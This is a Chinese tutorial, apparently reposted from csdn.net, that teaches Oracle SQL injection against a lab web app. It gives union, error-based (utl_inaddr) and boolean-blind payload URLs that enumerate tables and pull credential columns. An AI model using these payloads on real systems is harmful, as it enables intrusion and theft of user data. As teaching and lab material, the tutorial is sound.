首頁  >  文章  >  資料庫  >  手把手教你完全掌握Oracle注入的小細節

手把手教你完全掌握Oracle注入的小細節

WBOY
WBOY轉載
2022-01-21 18:23:362436瀏覽

這篇文章為大家帶來了關於Oracle注入的相關知識,其中包括注入的基本步驟以及報錯等問題,希望對大家有幫助。

手把手教你完全掌握Oracle注入的小細節

一、Oracle的取得資料的基本技巧

#1.特殊表

• dual表

◆是一個虛擬的表,用來構成select的語法規則,oracle保證dual裡面永遠只有一筆記錄。

• user_tables表

◆ 該表的table_name欄位存放著目前資料庫的所有表。

• user_tab_columns表

◆ 該表的column_name 存放著表的所有欄位。

2. Oracle查詢需要帶上表名

• 如select * from xxx (有萬能的表:dual表)。

3. 單行子查詢傳回多行需使用 where rownum=1來規範

• rownum 是偽序列數,總是從1開始。

• oracle資料庫從資料檔案或緩衝區讀取資料的順序。

• 它取得第一筆記錄則rownum值為1,第二條為2,依序類別推。

4.一些基本的後續注入需要用到的內建函數

1. length()用法:

 length(char) :返回字串的長度。

2. COUNT(*)用法:

 COUNT(*) 函數,傳回在給定的選擇中被選取的行數。

3. ascii()用法:

 ascii(char) 表示將字元轉換為ASCII碼。

4. SUBSTR用法:

 SUBSTR( 來源字串, 尋找起始位置, [ 長度] )傳回值為來源字串中指定起始位置和長度的字串。

5. INSTR用法:

 INSTR(來源字串, 要尋找的字串, 從第幾個字元開始, 要找到第幾個符合的序號)返回找到的位置,如果找不到則回傳0. 預設查找順序為從左到右。當起始位置為負數的時候,從右邊開始找。若起始位置為0,則回傳值為0。

還有一些函數在後續的文章用到時解釋。


二、各基本注入類型基本步驟

  環境為VMware上的以win2003為系統 jsp Oracle的簡易網頁。

1.oracle共同查詢注入

1.尋找注入點

  這一步在我的實驗環境中表現的很明顯,但是在在真實環境中,還是需要找到合適的注入點,基本的步驟就是找到與資料庫互動的輸入框,然後判斷這個輸入框的資料類型,以及它的資料的閉合方式,然後加入一些判斷語句來查看是否存在註入。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --

   在手動新增了一條資料過後,透過建構不同的payload,我們發現url是存在註入漏洞的,我們輸入的payload達到了它的效果。

3.判斷列數

  Oracle資料庫同樣是透過order by 進行查詢資料表的列數判斷,order by必須是select -list運算式的列數,在真實環境中的一個表的列數可能數目較多,因此在列數判斷中我們最好使用二分法。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --

  在order by 3時頁面正常,但在order by 4 時頁面出現錯誤,因此該查詢表的列數為3

4.Oracle联合查询

  跟之前的学习的MySQL以及SQL server一样,Oracle同样通过union 来实现联合查询注入,并且不用跟SQL server联合查询注入一样添加all,仅只用union就行,但是依旧要跟SQL server联合查询注入一样判断后续各列的数据类型。

  接下里我们首先查看回显位

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --

  因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用。

  我们看到三个列全部会回显在页面上

  下面我们还要通过更改null判断各个回显位的数据类型

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --

 判断出1号位的数据类型位字符型,接下来我们就可以通过构造不同的payload替换'1',来查询到我们想要的数据

select user from dual 获取用户名

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --

select banner from sys.v_$version where rownum=1 获取版本

http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --

 借助联合查询和默认表 user_tables获取当前数据库所有表名(第一行的)。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--

 查看下一行表名

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--

没有其他的表,只有T_USER

如果可以显示多行数据,则可以通过以下代码查看到T-USER所有的列名,不能就只能通过跟上面类似的方法 用“<>”添加附加条件,去除已经查看到的数据然后查看下一行数据

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--

获取T_USER表中字段为SNAME、SUSER、SPWD,然后获得他们的值

因为之前判断过1,2,3号位都回显,且都为字符型,所以下面一次性查询,如果只有一个也可以一个一个的查询

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--

获取数据

  因为靶场比较简陋,所以实验过程只是体现自己的注入思路,并不代表T_USER表中的东西就是后台账号之内的敏感数据,真实环境中,你查询的数据可以是任何你能查询到数据。

2.Oracle报错注入

1.寻找注入点

   当你发现你找到的注入点在输入错误数据会反弹数据库原始报错信息时,我们就可以使用报错注入。然后前面的步骤基本一致,都是先找注入点,然后分析闭合方式。

2.报错注入

Oracle报错注入——类型转换错误和报错函数。

payload:1=utl_inaddr.get_host_name((SQL语句))

查询结果: ORA-29257: 未知的主机 结果

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

T_USER即我们想要查询的表名,如果不止一个也可以通过上面联合查询注入中提到的方法,在sql语句中添加附加'<>'条件遍历表名。

跟联合查询用到的相同的语句查到接下来的列名,数据

下面我们可以用到一个函数来改变之前遍历每个数据的麻烦:sys.stragg()在单行中获取所有行信息。

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--

  ||是Oracle中的字符拼接符号,在以上payload使用的时候需要将其更改为%7C%7C,即它的url编码

  我们通过拼接其他符号以及sys,stragg()函数使我们能够清晰的分辨数据表中这个字段每一行的数据,在之前的联合查询注入同样可以使用到这个函数,省去遍历的麻烦

3.Oracle布尔盲注

1.寻找注入点

使用条件:HTTP返回包中没有执行结果的数据和报错信息。

当你发出你构造的payload时,页面并没有产生变化,即说明你的payload正确。

跟上面两种注入一样寻找注入点。

Oracle盲注核心——字符串截取函数、ascii转换函数、条件判断语句。

要注意的是在截断函数中长度是包含开始截取位置那一位的。

2.Oracle布尔盲注

步骤跟之前的顺序是一致的 拿表名-列名-数据,这里就不一一列举了,主要说重点。

我们在拿一个数据时,比如说表名,我们需要先判断他的长度

10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--

 我们可以先将=改为>或者<然后通过二分法逐步的缩小范围,最终确定表名一共有6位。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1&#39; and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--

然后就用截取函数 先截取表名的第一个字符,然后转译为ascii码,同样可以通过>或者<逐渐缩小范围最终确定表名第一个字符ascii码为84 即为T,以此类推获得完整表名

如果会使用burpsuit的话,可以通过burpsuit暴力破解,设置截取位置以及等于号后面的数字来跑出表名。

所有数据均可使用同样的方法获取

推荐教程:《Oracle教程

以上是手把手教你完全掌握Oracle注入的小細節的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:csdn.net。如有侵權,請聯絡admin@php.cn刪除